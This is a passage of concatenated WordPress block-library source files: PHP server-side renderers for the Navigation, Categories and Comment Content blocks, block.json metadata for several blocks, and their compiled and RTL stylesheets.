		return $response;
	}
	$parsed_blocks = parse_blocks( $response->data['content']['raw'] );
	$content       = block_core_navigation_insert_hooked_blocks( $parsed_blocks, $post );

	// Remove mock Navigation block wrapper.
	$content = block_core_navigation_remove_serialized_parent_block( $content );

	$response->data['content']['raw']      = $content;
	$response->data['content']['rendered'] = apply_filters( 'the_content', $content );

	return $response;
}

/*
 *  Before adding our filter, we verify if it's already added in Core.
 * However, during the build process, Gutenberg automatically prefixes our functions with "gutenberg_".
 * Therefore, we concatenate the Core's function name to circumvent this prefix for our check.
 */
$rest_prepare_wp_navigation_core_callback = 'block_core_navigation_' . 'insert_hooked_blocks_into_rest_response';

/*
 * Injection of hooked blocks into the Navigation block relies on some functions present in WP >= 6.5
 * that are not present in Gutenberg's WP 6.5 compatibility layer.
 */
if ( function_exists( 'set_ignored_hooked_blocks_metadata' ) && ! has_filter( 'rest_prepare_wp_navigation', $rest_prepare_wp_navigation_core_callback ) ) {
	add_filter( 'rest_prepare_wp_navigation', 'block_core_navigation_insert_hooked_blocks_into_rest_response', 10, 3 );
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/template-part",
	"title": "Template Part",
	"category": "theme",
	"description": "Edit the different global regions of your site, like the header, footer, sidebar, or create your own.",
	"textdomain": "default",
	"attributes": {
		"slug": {
			"type": "string"
		},
		"theme": {
			"type": "string"
		},
		"tagName": {
			"type": "string"
		},
		"area": {
			"type": "string"
		}
	},
	"supports": {
		"align": true,
		"html": false,
		"reusable": false,
		"renaming": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-template-part-editor"
}
.wp-block-template-part.has-background{
  margin-bottom:0;
  margin-top:0;
  padding:1.25em 2.375em;
}.block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.wp-block-template-part.has-background{
  margin-bottom:0;
  margin-top:0;
  padding:1.25em 2.375em;
}.wp-block-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}.block-editor-template-part__selection-modal{
  z-index:1000001;
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-editor-template-part__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.block-library-template-part__selection-search{
  background:#fff;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}.block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.wp-block-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}.block-editor-template-part__selection-modal{
  z-index:1000001;
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-editor-template-part__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.block-library-template-part__selection-search{
  background:#fff;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff;
}<?php
/**
 * Server-side rendering of the `core/categories` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/categories` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the categories list/dropdown markup.
 */
function render_block_core_categories( $attributes ) {
	static $block_id = 0;
	++$block_id;

	$args = array(
		'echo'         => false,
		'hierarchical' => ! empty( $attributes['showHierarchy'] ),
		'orderby'      => 'name',
		'show_count'   => ! empty( $attributes['showPostCounts'] ),
		'title_li'     => '',
		'hide_empty'   => empty( $attributes['showEmpty'] ),
	);
	if ( ! empty( $attributes['showOnlyTopLevel'] ) && $attributes['showOnlyTopLevel'] ) {
		$args['parent'] = 0;
	}

	if ( ! empty( $attributes['displayAsDropdown'] ) ) {
		$id                       = 'wp-block-categories-' . $block_id;
		$args['id']               = $id;
		$args['show_option_none'] = __( 'Select Category' );
		$wrapper_markup           = '<div %1$s><label class="screen-reader-text" for="' . esc_attr( $id ) . '">' . __( 'Categories' ) . '</label>%2$s</div>';
		$items_markup             = wp_dropdown_categories( $args );
		$type                     = 'dropdown';

		if ( ! is_admin() ) {
			// Inject the dropdown script immediately after the select dropdown.
			$items_markup = preg_replace(
				'#(?<=</select>)#',
				build_dropdown_script_block_core_categories( $id ),
				$items_markup,
				1
			);
		}
	} else {
		$wrapper_markup = '<ul %1$s>%2$s</ul>';
		$items_markup   = wp_list_categories( $args );
		$type           = 'list';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => "wp-block-categories-{$type}" ) );

	return sprintf(
		$wrapper_markup,
		$wrapper_attributes,
		$items_markup
	);
}

/**
 * Generates the inline script for a categories dropdown field.
 *
 * @param string $dropdown_id ID of the dropdown field.
 *
 * @return string Returns the dropdown onChange redirection script.
 */
function build_dropdown_script_block_core_categories( $dropdown_id ) {
	ob_start();
	?>
	<script>
	( function() {
		var dropdown = document.getElementById( '<?php echo esc_js( $dropdown_id ); ?>' );
		function onCatChange() {
			if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
				location.href = "<?php echo esc_url( home_url() ); ?>/?cat=" + dropdown.options[ dropdown.selectedIndex ].value;
			}
		}
		dropdown.onchange = onCatChange;
	})();
	</script>
	<?php
	return wp_get_inline_script_tag( str_replace( array( '<script>', '</script>' ), '', ob_get_clean() ) );
}

/**
 * Registers the `core/categories` block on server.
 */
function register_block_core_categories() {
	register_block_type_from_metadata(
		__DIR__ . '/categories',
		array(
			'render_callback' => 'render_block_core_categories',
		)
	);
}
add_action( 'init', 'register_block_core_categories' );
<?php
/**
 * Server-side rendering of the `core/comment-content` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comment-content` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Return the post comment's content.
 */
function render_block_core_comment_content( $attributes, $content, $block ) {
	if ( ! isset( $block->context['commentId'] ) ) {
		return '';
	}

	$comment            = get_comment( $block->context['commentId'] );
	$commenter          = wp_get_current_commenter();
	$show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author'];
	if ( empty( $comment ) ) {
		return '';
	}

	$args         = array();
	$comment_text = get_comment_text( $comment, $args );
	if ( ! $comment_text ) {
		return '';
	}

	/** This filter is documented in wp-includes/comment-template.php */
	$comment_text = apply_filters( 'comment_text', $comment_text, $comment, $args );

	$moderation_note = '';
	if ( '0' === $comment->comment_approved ) {
		$commenter = wp_get_current_commenter();

		if ( $commenter['comment_author_email'] ) {
			$moderation_note = __( 'Your comment is awaiting moderation.' );
		} else {
			$moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' );
		}
		$moderation_note = '<p><em class="comment-awaiting-moderation">' . $moderation_note . '</em></p>';
		if ( ! $show_pending_links ) {
			$comment_text = wp_kses( $comment_text, array() );
		}
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf(
		'<div %1$s>%2$s%3$s</div>',
		$wrapper_attributes,
		$moderation_note,
		$comment_text
	);
}

/**
 * Registers the `core/comment-content` block on the server.
 */
function register_block_core_comment_content() {
	register_block_type_from_metadata(
		__DIR__ . '/comment-content',
		array(
			'render_callback' => 'render_block_core_comment_content',
		)
	);
}
add_action( 'init', 'register_block_core_comment_content' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/list-item",
	"title": "List item",
	"category": "text",
	"parent": [ "core/list" ],
	"allowedBlocks": [ "core/list" ],
	"description": "Create a list item.",
	"textdomain": "default",
	"attributes": {
		"placeholder": {
			"type": "string"
		},
		"content": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "li",
			"__experimentalRole": "content"
		}
	},
	"supports": {
		"className": false,
		"__experimentalSelector": "li",
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/more",
	"title": "More",
	"category": "design",
	"description": "Content before this block will be shown in the excerpt on your archives page.",
	"keywords": [ "read more" ],
	"textdomain": "default",
	"attributes": {
		"customText": {
			"type": "string"
		},
		"noTeaser": {
			"type": "boolean",
			"default": false
		}
	},
	"supports": {
		"customClassName": false,
		"className": false,
		"html": false,
		"multiple": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-more-editor"
}
.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.block-editor-block-list__block[data-type="core/more"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-more{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-more input[type=text]{
  background:#fff;
  border:none;
  border-radius:4px;
  box-shadow:none;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  margin:0;
  max-width:100%;
  padding:6px 8px;
  position:relative;
  text-align:center;
  text-transform:uppercase;
  white-space:nowrap;
}
.wp-block-more input[type=text]:focus{
  box-shadow:none;
}
.wp-block-more:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.block-editor-block-list__block[data-type="core/more"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-more{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-more input[type=text]{
  background:#fff;
  border:none;
  border-radius:4px;
  box-shadow:none;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  margin:0;
  max-width:100%;
  padding:6px 8px;
  position:relative;
  text-align:center;
  text-transform:uppercase;
  white-space:nowrap;
}
.wp-block-more input[type=text]:focus{
  box-shadow:none;
}
.wp-block-more:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-featured-image",
	"title": "Featured Image",
	"category": "theme",
	"description": "Display a post's featured image.",
	"textdomain": "default",
	"attributes": {
		"isLink": {
			"type": "boolean",
			"default": false
		},
		"aspectRatio": {
			"type": "string"
		},
		"width": {
			"type": "string"
		},
		"height": {
			"type": "string"
		},
		"scale": {
			"type": "string",
			"default": "cover"
		},
		"sizeSlug": {
			"type": "string"
		},
		"rel": {
			"type": "string",
			"attribute": "rel",
			"default": ""
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		},
		"overlayColor": {
			"type": "string"
		},
		"customOverlayColor": {
			"type": "string"
		},
		"dimRatio": {
			"type": "number",
			"default": 0
		},
		"gradient": {
			"type": "string"
		},
		"customGradient": {
			"type": "string"
		},
		"useFirstImageFromPost": {
			"type": "boolean",
			"default": false
		}
	},
	"usesContext": [ "postId", "postType", "queryId" ],
	"supports": {
		"align": [ "left", "right", "center", "wide", "full" ],
		"color": {
			"__experimentalDuotone": "img, .wp-block-post-featured-image__placeholder, .components-placeholder__illustration, .components-placeholder::before",
			"text": false,
			"background": false
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"width": true,
			"__experimentalSelector": "img, .block-editor-media-placeholder, .wp-block-post-featured-image__overlay",
			"__experimentalSkipSerialization": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"width": true
			}
		},
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-post-featured-image-editor",
	"style": "wp-block-post-featured-image"
}
.wp-block-post-featured-image .block-editor-media-placeholder{-webkit-backdrop-filter:none;backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;min-height:200px;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-left-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{cursor:default}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%}.wp-block-post-featured-image .block-editor-media-placeholder{
  -webkit-backdrop-filter:none;
          backdrop-filter:none;
  z-index:1;
}
.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{
  align-items:center;
  display:flex;
  justify-content:center;
  min-height:200px;
  padding:0;
}
.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{
  display:none;
}
.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{
  color:inherit;
}
.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){
  border-left-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){
  border-right-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){
  border-left-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){
  border-right-style:solid;
}
.wp-block-post-featured-image[style*=height] .components-placeholder{
  height:100%;
  min-height:48px;
  min-width:48px;
  width:100%;
}
.wp-block-post-featured-image>a{
  cursor:default;
}
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}

div[data-type="core/post-featured-image"] img{
  display:block;
  height:auto;
  max-width:100%;
}.wp-block-post-featured-image{
  margin-left:0;
  margin-right:0;
}
.wp-block-post-featured-image a{
  display:block;
  height:100%;
}
.wp-block-post-featured-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
  width:100%;
}
.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{
  width:100%;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{
  background-color:#000;
  inset:0;
  position:absolute;
}
.wp-block-post-featured-image{
  position:relative;
}

.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{
  background-color:initial;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{
  opacity:0;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{
  opacity:.1;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{
  opacity:.2;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{
  opacity:.3;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{
  opacity:.4;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{
  opacity:.5;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{
  opacity:.6;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{
  opacity:.7;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{
  opacity:.8;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{
  opacity:.9;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{
  opacity:1;
}
.wp-block-post-featured-image:where(.alignleft,.alignright){
  width:100%;
}.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}.wp-block-post-featured-image .block-editor-media-placeholder{-webkit-backdrop-filter:none;backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image 